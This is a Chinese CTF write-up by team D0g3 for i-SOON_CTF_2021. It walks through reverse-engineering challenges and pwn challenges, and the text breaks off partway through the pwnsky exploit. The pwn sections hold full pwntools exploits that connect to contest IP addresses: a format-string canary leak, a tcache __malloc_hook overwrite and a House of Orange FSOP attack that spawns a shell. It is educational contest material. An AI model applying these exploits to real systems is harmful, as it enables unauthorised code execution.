本文由 @D0g3 编写
i-SOON_CTF_2021 部分题目环境/源码后续将在Github开源
项目地址
RE
sign_in
考点:smc+花指令+数组内异或+W型的栅栏加密(比较难看)+魔改xxtea。
32位程序,无壳,打开发现是无法吃到食物的贪吃蛇游戏,ida打开,shift 12可以看到一些关键字符串,但是无法交叉引用。
定位到main函数,发现sub_40100F函数有花,点进去看看。
去花后,发现就是对0x401D10地址开始的后0x256个字节进行异或0x37解密。
所以两个方法,一是直接动调自解密,二是直接idapython还原静态分析,实际上动调会更好,确保堆栈平衡的情况下在0x401D10直接set ip动调分析,下面也给一个idapython还原脚本。
import idc
st = 0x401D10
i = 0
while st <= 0x401D10+0x245:
value = ida_bytes.get_byte(st)
value ^= 55
ida_bytes.patch_byte(st, value)
st += 1
接下来分析0x401D10函数。
至于rand()%256的由来在这,也就是食物的判断,当食物等于rand()%256时才会进入输入flag的函数。
然后解题就先爆破256可能,得到food==77是正确的,然后进行W型栅栏解密,实际上看不懂也没关系,直接测试flag,得到变换顺序,只不过由于前面有个数组内异或,所以可能会造成多义性,所以动调时,跳过数组内异或就行。
enc=[0x00000061, 0x00000067, 0x0000006D, 0x00000073, 0x00000079, 0x00000035, 0x00000062, 0x00000066,
0x00000068, 0x0000006C, 0x0000006E, 0x00000072, 0x00000074, 0x00000078, 0x0000007A, 0x00000034,
0x00000036, 0x00000063, 0x00000065, 0x00000069, 0x0000006B, 0x0000006F, 0x00000071, 0x00000075,
0x00000077, 0x00000031, 0x00000033, 0x00000064, 0x0000006A, 0x00000070, 0x00000076, 0x00000032]
flag='abcdefghijklmnopqrstuvwxyz123456'
for i in flag:
print(enc.index(ord(i)),end=',')
#index=[0,6,17,27,18,7,1,8,19,28,20,9,2,10,21,29,22,11,3,12,23,30,24,13,4,14,25,31,26,15,5,16]
解题脚本。
unsigned int enc[32] = {
0xBF8ED8A5, 0xE115A9F9, 0xFCD3F08A, 0x8BBF8946, 0xC308B162, 0x2B19CF29, 0x7A770656, 0xA4BAE4BA,
0x4E3E8CE4, 0x01A7E1D9, 0x75E9CE04, 0x22B593B9, 0x497742B4, 0x24EB15F6, 0xF2C2FF0E, 0x47973039,
0xC801CA0D, 0x6A125861, 0x80320BE8, 0x0385BD47, 0x69F96DDD, 0xE56490D1, 0x2D3CAD4B, 0x2D4200BE,
0x89EF6979, 0x4A91885D, 0x019DEBC7, 0x3BF8FD96, 0x1BDD2557, 0xB8685FDD, 0x57226614, 0x9F585C28};
//abcdefghijklmnopqrstuvwxyz123456
#include<stdio.h>
#include<stdio.h>
#include<string.h>
#include<windows.h>
#include<time.h>
#include<conio.h>
void decrypt(unsigned int *code ,unsigned int *key ,unsigned int n)
{
unsigned int next,end,sum;
unsigned int rounds,e,delta=0x44336730+77;
int i;
rounds=6+52/n;
sum=rounds*delta;
next=code[0];//设置next为code的第一个
do
{
e=(sum>>2)&3;
for(i=n-1;i>0;i--)//解密最后一个到第二个
{
end=code[i-1];
code[i]-=(( (end>>5^next<<2) + (next>>3^end<<4) ) ^ ( (sum^next) + (key[(i&3)^e]^end) ));
next=code[i];
}
end=code[n-1];
code[0]-=(( (end>>5^next<<2) + (next>>3^end<<4) ) ^ ( (sum^next) +(key[i&3^e]^end) ));
next=code[0];
sum-=delta;
}while(--rounds);
}
int main()
{
unsigned int key[4]={ 'D','0','g','3'};
unsigned int n=32;
char flag[32];
int index[32]={0,6,17,27,18,7,1,8,19,28,20,9,2,10,21,29,22,11,3,12,23,30,24,13,4,14,25,31,26,15,5,16};
int i;
decrypt(enc,key,n);
for(i=0;i<32;i++)
{
flag[i]=enc[index[i]];
}
for(i=31;i>=0;i--)
{
flag[i]^=flag[(i+1)%32];
}
printf("%s",flag);
}
//Th4_1mp0rtant_th2n9_is_t0_le@rn!
virus
考点:傀儡进程(pe映像切换),双线程异或,12宫密码部分矩阵加密,sm4。
ida打开,发现先是读取了一个资源,然后进行异或解密,后面就是傀儡进程的代码了,所以实际上,我们需要分析的是这个资源文件。
两种方法提取文件,ida动调dump出来,resource hacker软件提取出来,然后解密,得到flag.exe。
#include<stdio.h>
#include<math.h>
int main(void){
FILE *p;
char v[0x3104d]={0};
int i;
p=fopen("LOCALIZATION.bin","rb");
fread(&v, 1, 0x3104d, p);
for(i=0;i<0x3104d;i++)
{
v[i]=v[i]^65;
}
FILE *p1 = fopen("flag.exe", "wb");
fwrite(&v, 1, 0x3104d, p1);
}
分析flag.exe
所以关键就是分析sm4的key是如何生成的,其实这个算法,是本人在一次ctf中遇到了一个12宫密码的题,当时觉得里面一个矩阵的变换比较有意思,然后就用代码实现了其中的一小部分。
视频:https://www.bilibili.com/video/BV1Ra411F7tv/?spm_id_from=333.788.recommend_more_video.-1里面7分钟左右的部分。
我看了各位师傅的wp后,发现很大一部分都是用的爆破,也在预期之类,因为4个字节确实可以爆破,但实际上这个算法的加密就是解密,可以实验一下,多循环几次,就可以得到我们输入的内容,最终可以得到初始key为'_shy'。
所以解题就比较简单了。得到sm4的key,然后用python库,或者直接网站解,或者直接,把密文反着弄,然后用exe中的sm4部分跑一下,都可解。
import sm4
key = sm4.SM4Key(bytes.fromhex("68677f4e555b4e777b65785b4c726f6f"))
s =key.decrypt(bytes.fromhex("5C89EEF56FC54492DBE3AE9CB54F4AF4E7A35E0FFC93FC766CFB29E0162FA567"))
x=[6,7]
for i in range(32):
print(chr(s[i]^x[i%2]),end="")
#Ho3_I_Exp3cTed_n0_pY_1n_the_Ctf!
mazeeee
IDA打开后初步分析为迷宫问题,经过判断后为10 15 5的三维迷宫,需要求出路径,操作规则如下:
xyz坐标系
‘w’:x+=2
‘s’:x-=1
‘d’:y+=2
‘a’:y-=1
‘W’:z+=1
'S':z-=1
简单写一个bfs或dfs即可得到路径,这里给出bfs脚本
#include <bits/stdc++.h>
using namespace std;
char mp[20][20][20];
bool vis[20][20][20];
int L, R, C;
int m_l[6] = {0, 0, 0, 0, 1, -1};
int m_r[6] = {+2, -1, 0, 0, 0, 0};
int m_c[6] = {0, 0, -1, +2, 0, 0};
char x[6]={'w','s','a','d','W','S'};
struct position
{
int l, r, c;
string s;
}start, End;
queue <position> q;
bool check(int l,int r,int c)
{
if(l >= 0 && l < L && r >= 0 && r < R && c >= 0 && c < C && mp[l][r][c] != '#' && vis[l][r][c] == 0)
return true;
return false;
}
void bfs()
{
while (!q.empty()) q.pop();
q.push(start);
vis[start.l][start.r][start.c] = 1;
while (!q.empty())
{
position now = q.front();
q.pop();
if (now.l == End.l && now.r == End.r && now.c == End.c)
{
cout<<now.s<<endl;
//exit(0);
}
position next;
for (int i = 0; i < 6; i++)
{
next.l = now.l + m_l[i];
next.r = now.r + m_r[i];
next.c = now.c + m_c[i];
next.s = now.s + x[i];
if (check(next.l, next.r, next.c))
{
q.push(next);
vis[next.l][next.r][next.c] = 1;
}
}
}
}
int main()
{
freopen("text2.in","r",stdin);
//freopen("text2.out","w",stdout);
L = 5; R = 10; C = 15;
for (int i = 0; i < L; i++)
for (int j = 0; j < R; j++)
for (int k = 0; k < C; k++)
{
cin >> mp[i][j][k];
vis[i][j][k] = 0;
if (mp[i][j][k] == 'S')
{
start.l = i;
start.r = j;
start.c = k;
}
if (mp[i][j][k] == 'E')
{
End.l = i;
End.r = j;
End.c = k;
}
}
bfs();
return 0;
}
//dWWwwdddWWaawwddsssSaw
得到路径为:dWWwwdddWWaawwddsssSaw
继续可以进行动态调试分析,可知需要将得到的路径的与已知数组进行异或才能得到flag(注意,已知数组的长度为路径长度的两倍,因此需要将路径进行循环异或),但是该数组并不能通过动态调试获取。只能通过查看该数组的交叉引用来获取。
一个关于位运算的解密,直接用脚本求解即可
for(int i = 0; i < 22; i++)
key[i] = (k[i] & 0x1F) | (k[(i + 1) % 22] & 0xE0);
得到key数组后直接异或解密得到flag
**********************W3lc0me_t0_The_Maze!!}
此题显然到这里还没有结束,我们通过得到的flag和IDA可以看出:
提示前面应该还有一段flag,此时查看Strings可以发现base64的字母表以及一串base64加密后的字符串
直接base64解密发现是乱码,因为base64的字母表在主函数中被修改过
简单的换位加密,得到修改后的base64字母表直接解密即可
D0g3{Y0u^Can=So1ve_it!W3lc0me_t0_The_Maze!!}
localhost:2333
flag: d0g3{Go1aN9_vM_1S_VERY_e@$Y!!}
题目描述
看看2333端口
题目制作过程
题目使用golang编写,程序内部在本地2333端口开了一个服务,程序需要在浏览器访问localhost:2333才能进行输入,由于go语言本身可以恢复符号表,所以将虚拟机指令函数全部命名成sub_x
,为了逆向难度,在编译程序时没有采用//go:noinline
方式编译,所以反编译出来的代码会比较抽象
//寄存器结构
type register struct {
eax uint8
ebx uint8
ecx uint8
edx uint8
eip uint32
}
// 指令函数对应,每个函数后缀对应OPCODE
// push
func (reg *register) sub_0 () {}
// pop
func (reg *register) sub_1 (){}
// xor
func (reg *register) sub_2 (){}
// sub
func (reg *register) sub_3 (){}
// add
func (reg *register) sub_4() {}
// or
func (reg *register) sub_5 () {}
// shl
func (reg *register) sub_6() {}
// shr
func (reg *register) sub_7() {}
// mov
func (reg *register) sub_8() {}
// 寄存器选择函数,返回一个寄存器指针
func (reg *register)selectReg(optionReg uint8) (regPtr *uint8){
var retVal *uint8
switch optionReg {
case 1:
retVal = &((*reg).eax)
case 2:
retVal = &((*reg).ebx)
case 3:
retVal = &((*reg).ecx)
case 4:
retVal = &((*reg).edx)
}
return retVal
}
exp
cipher =[[155, 170, 203, 245, 138, 200, 161, 137, 224, 165],
[126, 16, 58, 13, 49, 117, 45, 126, 119, 100],
[74, 43, 235, 172, 8, 132, 43, 36, 36, 175]]
flag = ''
key_1 = 0xFF
key_2 = b'GOL@nD~!!!'
for i in range(len(cipher[0]) - 1, 0, -1):
cipher[0][i] = (cipher[0][i] + i) ^ cipher[0][i-1]
cipher[0][0] ^= 0xFF
flag += bytes(cipher[0]).decode()
for i in range(len(cipher[1])):
flag += chr(cipher[1][i] ^ key_2[i])
for i in cipher[2]:
flag += chr((i >> 5) | (i << 3) & 0xFF)
print(flag)
crackme
该程序是由autojs编写而成 解压apk文件,在assests目录下存放了 main.js,其中main.js经过加密
JS解密
js采用了离线加密,jeb反编译该APK,加密逻辑存放在类
com/stardust/autojs/engine/encryption/ScriptEncryption;
逆向发现其使用了AES加密,其中key为变量m_key,iv为m_initVector
而m_key,在此处经过AES加密生成,加密的密钥为md5(packageName+versionName+mainScriptFile+VersionCode)
其中packageName等信息是从json文件中获取,由此得到加密key的密钥为
MD5(com.telegram.messenger1.0.0main.js1)=8605e55eaab55db47c24d7b5390336c1
加密密钥的IV为md5(buildID+name)[0:16]=md5(E668665F-8crackme)[0:16]=de4fcdd68dcdc81a
同时该IV也同样为JS加密的IV
而明文则为"seBmfdYSRu2ysWEl"
加密得到m_key hex形式为66edb59ca4783d9f32234e78e33c3f8b3ea71208f25b50dc2923d58c1dd3b527
此处加密JS的key和iv都拿到了,查看加密的js文件,发现多了8个字节,前8个字节像加密js的文件格式 将其删除之后进行解密。得到js源码。
"ui";
ui.layout(
<frame>
<vertical h="auto" align="center" margin="0 50">
<text text="请è¾.å.¥flag" textColor="black" textSize="18sp"/>
<input id="flag" />
<button id ="ok" w="auto" h="auto" text="ç¡®å®." style="Widget.AppCompat.Button.Colored"/>
</vertical>
</frame>
);
ui.ok.on("click",()=>{
var result=[0x2e,0xde,0x94,0xc2,0x41,0x8f,0xe3,0xfa,0xfb,0x10,0x4f,0x96,0x64,0xbf,0x2d,0xe3,0x96,0xf1,0x6c,0xa1,0x6b,0xb6,0x9a,0x94,0xfb,0x70,0x3f,0x4b,0x4b,0x7e,0x35,0xc7,0x10,0x90,0x57,0xcb];
shell("chmod 777 /data/data/com.telegram.messenger/files/project/D0g3.jpeg",true);
shell("/data/data/com.telegram.messenger/files/project/D0g3.jpeg"+" "+ui.flag.text(),true);
if(files.isFile("/sdcard/1A.txt")){
var data=files.readBytes("/sdcard/1A.txt");
for(var i=0;i<data.length;i++){
if((data[i]&0xff)!=result[i]){
shell("rm -f /sdcard/1A.txt",true);
toast("wrong");
return 0;
}
}
toast("right");
shell("rm -f /sdcard/1A.txt",true);
}
else{
toast("wrong");
}
})
elf解密
发现核心逻辑为D0g3.jpeg的elf文件,elf文件经过upx加壳,但是对Upx格式进行了改动,需要对其进行修复,才能用工具脱壳,首先修复UPX的magic头,一共三个地方
在尾部同时还多出了后缀 “d0g3d0g3”将其删除,脱壳时发现p_info损坏继续修复p_info,p_info的file_size和block_size被抹除,不过幸运的是此处依然存在着p_filesize和p_blocksize
将其修复一下
最后依然报错ELfxx_Ehdr错误,是因为删除了压缩数据的ELF文件头继续还原一下
upx -d得到脱壳后的文件。
脱壳后的文件校验了flag格式后进行chacha20加密算法,其中常量expand 32-byte k被修改为d0g3d0g3d0g3,最后解密脚本如下
/*********************************************************************
* Copyright (c) 2016 Jonas Schnelli *
* Distributed under the MIT software license, see the accompanying *
* file COPYING or http://www.opensource.org/licenses/mit-license.php.*
**********************************************************************/
#include <assert.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
struct chacha_ctx {
uint32_t input[16];
};
/* $OpenBSD: chacha.c,v 1.1 2013/11/21 00:45:44 djm Exp $ */
typedef unsigned char u8;
typedef unsigned int u32;
typedef struct chacha_ctx chacha_ctx;
#define U8C(v) (v##U)
#define U32C(v) (v##U)
#define U8V(v) ((u8)(v)&U8C(0xFF))
#define U32V(v) ((u32)(v)&U32C(0xFFFFFFFF))
#define ROTL32(v, n) (U32V((v) << (n)) | ((v) >> (32 - (n))))
#define U8TO32_LITTLE(p) \
(((u32)((p)[0])) | ((u32)((p)[1]) << 8) | ((u32)((p)[2]) << 16) | \
((u32)((p)[3]) << 24))
#define U32TO8_LITTLE(p, v) \
do { \
(p)[0] = U8V((v)); \
(p)[1] = U8V((v) >> 8); \
(p)[2] = U8V((v) >> 16); \
(p)[3] = U8V((v) >> 24); \
} while (0)
#define ROTATE(v, c) (ROTL32(v, c))
#define XOR(v, w) ((v) ^ (w))
#define PLUS(v, w) (U32V((v) + (w)))
#define PLUSONE(v) (PLUS((v), 1))
#define QUARTERROUND(a, b, c, d) \
a = PLUS(a, b); \
d = ROTATE(XOR(d, a), 16); \
c = PLUS(c, d); \
b = ROTATE(XOR(b, c), 12); \
a = PLUS(a, b); \
d = ROTATE(XOR(d, a), 8); \
c = PLUS(c, d); \
b = ROTATE(XOR(b, c), 7);
static const char sigma[16] = "d0g3d0g3d0g3d0g3";
static const char tau[16] = "expand 16-byte k";
void chacha_keysetup(chacha_ctx *x, const u8 *k, u32 kbits) {
const char *constants;
x->input[4] = U8TO32_LITTLE(k + 0);
x->input[5] = U8TO32_LITTLE(k + 4);
x->input[6] = U8TO32_LITTLE(k + 8);
x->input[7] = U8TO32_LITTLE(k + 12);
if (kbits == 256) { /* recommended */
k += 16;
constants = sigma;
} else { /* kbits == 128 */
constants = tau;
}
x->input[8] = U8TO32_LITTLE(k + 0);
x->input[9] = U8TO32_LITTLE(k + 4);
x->input[10] = U8TO32_LITTLE(k + 8);
x->input[11] = U8TO32_LITTLE(k + 12);
x->input[0] = U8TO32_LITTLE(constants + 0);
x->input[1] = U8TO32_LITTLE(constants + 4);
x->input[2] = U8TO32_LITTLE(constants + 8);
x->input[3] = U8TO32_LITTLE(constants + 12);
}
void chacha_ivsetup(chacha_ctx *x, const u8 *iv, const u8 *counter) {
x->input[12] = counter == NULL ? 0 : U8TO32_LITTLE(counter + 0);
x->input[13] = counter == NULL ? 0 : U8TO32_LITTLE(counter + 4);
x->input[14] = U8TO32_LITTLE(iv + 0);
x->input[15] = U8TO32_LITTLE(iv + 4);
}
void chacha_encrypt_bytes(chacha_ctx *x, const u8 *m, u8 *c, u32 bytes) {
u32 x0, x1, x2, x3, x4, x5, x6, x7, x8, x9, x10, x11, x12, x13, x14, x15;
u32 j0, j1, j2, j3, j4, j5, j6, j7, j8, j9, j10, j11, j12, j13, j14, j15;
u8 *ctarget = NULL;
u8 tmp[64];
uint32_t i;
if (!bytes)
return;
j0 = x->input[0];
j1 = x->input[1];
j2 = x->input[2];
j3 = x->input[3];
j4 = x->input[4];
j5 = x->input[5];
j6 = x->input[6];
j7 = x->input[7];
j8 = x->input[8];
j9 = x->input[9];
j10 = x->input[10];
j11 = x->input[11];
j12 = x->input[12];
j13 = x->input[13];
j14 = x->input[14];
j15 = x->input[15];
for (;;) {
if (bytes < 64) {
if (m != NULL) {
for (i = 0; i < bytes; ++i) {
tmp[i] = m[i];
}
m = tmp;
}
ctarget = c;
c = tmp;
}
x0 = j0;
x1 = j1;
x2 = j2;
x3 = j3;
x4 = j4;
x5 = j5;
x6 = j6;
x7 = j7;
x8 = j8;
x9 = j9;
x10 = j10;
x11 = j11;
x12 = j12;
x13 = j13;
x14 = j14;
x15 = j15;
for (i = 20; i > 0; i -= 2) {
QUARTERROUND(x0, x4, x8, x12)
QUARTERROUND(x1, x5, x9, x13)
QUARTERROUND(x2, x6, x10, x14)
QUARTERROUND(x3, x7, x11, x15)
QUARTERROUND(x0, x5, x10, x15)
QUARTERROUND(x1, x6, x11, x12)
QUARTERROUND(x2, x7, x8, x13)
QUARTERROUND(x3, x4, x9, x14)
}
x0 = PLUS(x0, j0);
x1 = PLUS(x1, j1);
x2 = PLUS(x2, j2);
x3 = PLUS(x3, j3);
x4 = PLUS(x4, j4);
x5 = PLUS(x5, j5);
x6 = PLUS(x6, j6);
x7 = PLUS(x7, j7);
x8 = PLUS(x8, j8);
x9 = PLUS(x9, j9);
x10 = PLUS(x10, j10);
x11 = PLUS(x11, j11);
x12 = PLUS(x12, j12);
x13 = PLUS(x13, j13);
x14 = PLUS(x14, j14);
x15 = PLUS(x15, j15);
if (m != NULL) {
x0 = XOR(x0, U8TO32_LITTLE(m + 0));
x1 = XOR(x1, U8TO32_LITTLE(m + 4));
x2 = XOR(x2, U8TO32_LITTLE(m + 8));
x3 = XOR(x3, U8TO32_LITTLE(m + 12));
x4 = XOR(x4, U8TO32_LITTLE(m + 16));
x5 = XOR(x5, U8TO32_LITTLE(m + 20));
x6 = XOR(x6, U8TO32_LITTLE(m + 24));
x7 = XOR(x7, U8TO32_LITTLE(m + 28));
x8 = XOR(x8, U8TO32_LITTLE(m + 32));
x9 = XOR(x9, U8TO32_LITTLE(m + 36));
x10 = XOR(x10, U8TO32_LITTLE(m + 40));
x11 = XOR(x11, U8TO32_LITTLE(m + 44));
x12 = XOR(x12, U8TO32_LITTLE(m + 48));
x13 = XOR(x13, U8TO32_LITTLE(m + 52));
x14 = XOR(x14, U8TO32_LITTLE(m + 56));
x15 = XOR(x15, U8TO32_LITTLE(m + 60));
}
j12 = PLUSONE(j12);
if (!j12) {
j13 = PLUSONE(j13);
/* stopping at 2^70 bytes per nonce is user's responsibility */
}
U32TO8_LITTLE(c + 0, x0);
U32TO8_LITTLE(c + 4, x1);
U32TO8_LITTLE(c + 8, x2);
U32TO8_LITTLE(c + 12, x3);
U32TO8_LITTLE(c + 16, x4);
U32TO8_LITTLE(c + 20, x5);
U32TO8_LITTLE(c + 24, x6);
U32TO8_LITTLE(c + 28, x7);
U32TO8_LITTLE(c + 32, x8);
U32TO8_LITTLE(c + 36, x9);
U32TO8_LITTLE(c + 40, x10);
U32TO8_LITTLE(c + 44, x11);
U32TO8_LITTLE(c + 48, x12);
U32TO8_LITTLE(c + 52, x13);
U32TO8_LITTLE(c + 56, x14);
U32TO8_LITTLE(c + 60, x15);
if (bytes <= 64) {
if (bytes < 64) {
for (i = 0; i < bytes; ++i)
ctarget[i] = c[i];
}
x->input[12] = j12;
x->input[13] = j13;
return;
}
bytes -= 64;
c += 64;
if (m != NULL) {
m += 64;
}
}
}
int main(void)
{
struct chacha_ctx ctx;
uint8_t iv[8] = {0,};
unsigned int i = 0;
uint8_t result[36]= {0x2e,0xde,0x94,0xc2,0x41,0x8f,0xe3,0xfa,0xfb,0x10,0x4f,0x96,0x64,0xbf,0x2d,0xe3,0x96,0xf1,0x6c,0xa1,0x6b,0xb6,0x9a,0x94,0xfb,0x70,0x3f,0x4b,0x4b,0x7e,0x35,0xc7,0x10,0x90,0x57,0xcb};
unsigned char* flag=(unsigned char*)malloc(0x40);
memcpy(flag,result,36);
const uint8_t key[32]={ 0x99, 0x17, 0x09, 0x3F, 0xB7, 0xFB, 0xD9, 0x7A, 0x79, 0x96, 0x90, 0xA6, 0xB4, 0xCF, 0xE1, 0xAF,
0x52, 0x4A, 0x38, 0x9B, 0xF0, 0xCC, 0x59, 0x9C, 0xC9, 0x73, 0xF5, 0x34, 0xB1, 0x7D, 0xDE,0x96};
chacha_ivsetup(&ctx, iv, NULL);
chacha_keysetup(&ctx, key,256);
chacha_encrypt_bytes(&ctx, flag, flag, 36);
printf("%s",flag);
}
crackme参考链接
https://github.com/jonasschnelli/chacha20poly1305
https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware/
PWN
stack
思路
一道格式化字符串漏洞,查看保护可以发现 开启了PIE和 canary
通过ida可以发现后门函数 及其所需的参数。
观察程序,可以发现能够利用格式化字符串漏洞泄露地址信息和canary从而绕过其防护
再次利用格式化字符串漏洞覆盖canary和ret ,使其可以执行system("/bin/sh")
Exp
#! /usr/bin/python3
from pwn import*
#io = remote("101.35.18.209",20113)
io = remote("47.108.195.119",20113)
#io = process('./ezstack')
context.log_level = 'debug'
#--------------------------------
io.recvuntil("名称:")
io.sendline("")
io.recvuntil("名字:")
io.sendline("")
#--------------------------------
sh = 0xB24
system = 0xA7C
pop_rdi = 0x000b03
ret = 0x00000000000007c1
#gdb.attach(io)
io.sendline(b'%12$p%11$p')
stack = io.recv(14)
stack = int(stack,16)
stack = stack & 0xfffffffffffff000
print("stack---->"+hex(stack))
canary = io.recvuntil('\n')[-17:]
canary = int(canary,16)
#gdb.attach(io)
print("canary--->"+hex(canary))
sh = stack + 0xB24
system = stack + 0xA8C
pop_rdi = stack + 0x000b03
ret = stack + 0x00007c1
print("sh",hex(sh))
print("system",hex(system))
print("pop_rdi",hex(pop_rdi))
print("ret",hex(ret))
io.recvuntil("--+--")
#gdb.attach(io)
io.sendline(b'a'*0x18 + p64(canary) + p64(0) + p64(pop_rdi) + p64(sh) + p64(system))
io.interactive()
noleak
通过观察可以发现有一个栅栏加密。并且存在offbynull漏洞
1.通过栅栏加密利用char为1byte,unsigned int为4byte的特性,加了个一个简单的栅栏加密字符串,解密只需将unsigned int类型的enc密文先转为单字节的char类型,然后进行栅栏为4的栅栏解密。
2.利用溢出漏洞修改size,将其free后再次malloc可以通过show泄露其地址。
3.利用tcache的特点,可以通过tcache_attack进行攻击,向malloc_hook中写入one_gadget.
4.再次调用malloc即可getshell
解密算法
#--------------------------------------
a=[0x5f5f794e,0x63745f30,0x7448315f,0x37656e70]
b=[]
for i in range(4):
tmp=a[i]
for j in range(4):
b.append(chr(tmp&0xff))
tmp=tmp>>8
flag=''
for i in range(4):
for j in range(4):
flag+=b[i+4*j]
print(flag)
#N0_py_1n_tHe_ct7
#---------------------------------------
Exp
#! /usr/bin/python3
from pwn import *
from LibcSearcher import *
#sh=remote("47.108.195.119",20182)
sh=remote("101.35.18.209",20112)
context.log_level = 'debug'
libc=ELF('./libc.so.6')
elf = ELF('./noleak')
#sh=process('./noleak')
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.log_level='debug'
def choice(elect):
sh.recvuntil('4) delete a chunk\n')
sh.sendline(str(elect))
def add(index,size):
choice(1)
sh.recvuntil('?')
sh.sendline(str(index))
sh.recvuntil('?')
sh.sendline(str(size))
def edit(index,content,full=False):
choice(3)
sh.recvuntil('?')
sh.sendline(str(index))
sh.recvuntil(':')
if full:
sh.send(content)
else:
sh.sendline(content)
def show(index):
choice(2)
sh.recvuntil('?')
sh.sendline(str(index))
def delete(index):
choice(4)
sh.recvuntil('?')
sh.sendline(str(index))
def exploit():
li('exploit...')
#--------------------------------
# sh.recvuntil("名称:")
# sh.sendline("")
# sh.recvuntil("名字:")
# sh.sendline("")
#--------------------------------
sh.sendlineafter("start !\n","N0_py_1n_tHe_ct7")
add(0,0x80) #A
add(1,0x18) #B
add(2,0xf0) #C
for i in range(7):
add(i+3,0x80)
for i in range(7):
delete(i+3)
add(i+3,0xf0)
for i in range(7):
delete(i+3)
delete(0)
#gdb.attach(sh)
edit(1,b'\x00'*0x10+p64(0xb0),full=True)
delete(2)
#gdb.attach(sh)
for i in range(8):
add(3,0x80)
show(1)
sh.recvuntil('\n',drop=True)
libc_base=u64(sh.recvuntil('\n',drop=True).replace(b'\n',b'').ljust(8,b'\x00')) - 0x70 - libc.sym['__malloc_hook']
malloc_hook=libc_base+libc.symbols['__malloc_hook']
realloc=libc_base+libc.symbols['realloc']
gadget=[0x41602,0x41656,0xdeec2]
onegadget=libc_base+gadget[2]
print(libc_base)
print(malloc_hook)
print(onegadget)
#gdb.attach(sh)
add(2,0x10)
delete(2)
edit(1,p64(malloc_hook-0x8) )
add(3,0x10)
add(4,0x18)
edit(4,p64(onegadget)+p64(onegadget))
#gdb.attach(sh)
add(1,0x10)
sh.interactive()
if __name__ == '__main__':
exploit()
finish()
ezheap
观察代码 可以发现没有 可以free堆块的函数 , 于是考虑可以使用houseOforange可以利用堆溢出修改下一chunk的size,从而是堆块分配值unsortbin,然后利用uaf漏洞进行泄露
完成泄露后可以使用FSOP,通过伪造的 vtable 和_IO_FILE_plus,从而通过报错来劫持程序流
1.首先通过gift函数接收地址。在通过溢出修改size,从而使得topchunk的size为0xf81 。 这里需要自行调试使得该chunk对齐
2.再次malloc一个大堆块,使得topchunk进入unsortbin,再次切割该堆块,通过show函数泄露地址。
3.伪造vtable 和_IO_FILE_plus
fake_file = b'/bin/sh\x00'+p64(0x61)
fake_file += p64(0)+p64(io_list_all-0x10)
fake_file += p64(0) + p64(1)
fake_file = fake_file.ljust(0xc0,b'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap+0x1198) #vtable ptr
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file
进入报错函数后将会进入system并以/bin/sh为参数,这注意#vtable ptr需要自行调试使其指向自身。
4.再次执行malloc即可getshell
Exp
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.log_level='debug'
#elf = ELF('./EZheap')
elf = ELF('./pwn')
libc = ELF("./libc.so.6")
#io = elf.process()
io = remote("47.108.195.119", 20141)
def ad(sz,na):
sla('away\n', '1')
sla('size of it', str(sz))
sla('Name?', na)
def md(sz, na):
sla('away\n', '2')
sla('size of it', str(sz))
sla('name', na)
def dp():
sla('away\n', '3')
def finish():
ia()
c()
def exploit():
li('exploit...')
io.sendlineafter(':', 'test_team')
io.sendlineafter(':', 'test_user')
io.recvline()
heap = io.recvuntil(b'\n',drop=True).ljust(8, b'\x00')
heap = int(heap,16)
print("heap",hex(heap))
ad(0x20,"aaaa")
ad(0xbd0+0x420,"aaaa")
ad(0x20,"bbbb")
md(0x40,b"A"*0x20 + p64(0) +p64(0xf81))
#gdb.attach(io)
ad(0x1000,"AAAA")
ad(0x40,"BBBBBBBB")
dp()
io.recvuntil("BBBBBBBB")
area = u64(io.recvuntil(b'\x7f').ljust(8, b'\x00')) - 1514
malloc = area - 0x10
libc_base = malloc - libc.sym['__malloc_hook']
io_list_all = libc_base + libc.symbols['_IO_list_all']
system = libc_base + libc.symbols['system']
print("area ",hex(area))
print("malloc ",hex(malloc))
print("io_list_all ",hex(io_list_all))
print("system ",hex(system))
print("heap",hex(heap))
#gdb.attach(io)
payload = b'a' * 0x40
fake_file = b'/bin/sh\x00'+p64(0x61)#to small bin
fake_file += p64(0)+p64(io_list_all-0x10)
fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr
fake_file = fake_file.ljust(0xc0,b'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap+0x1198) #vtable ptr
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file
md(len(payload),payload)
#gdb.attach(io)
io.recvuntil("away\n")
io.sendline('1')
# gdb.attach(io)
#-------------------------------start
if __name__ == '__main__':
exploit()
finish()
pwnsky
思路
取出程序中所有花指令,花指令在加密算法和add堆块函数中,使其F5能够反编译出正确的伪代码,先逆向流密码加密,很简单,只需把加密算法还原,就是解密算法了,然后接着就是进行普通堆利用了,去掉在add函数中只要满足data[0] == "\x00"的话,那么就出现off by one漏洞,通过该漏洞去实现一个堆块合并,修改__free_hook为setcontext的gadget,实现堆栈迁移,在堆中实现orw。
lua编译工具:https://github.com/viruscamp/luadec
Exp
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
from pwn import *
from sys import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
#context(arch = 'amd64', os = 'linux', log_level='debug')
exeFile = "./pwn"
libFile = "./libc.so.6"
LOCAL = 0
LIBC = 1
XorTable = [
0xbe, 0xd1, 0x90, 0x88, 0x57, 0x00, 0xe9, 0x53, 0x10, 0xbd, 0x2a, 0x34, 0x51, 0x84, 0x07, 0xc4,
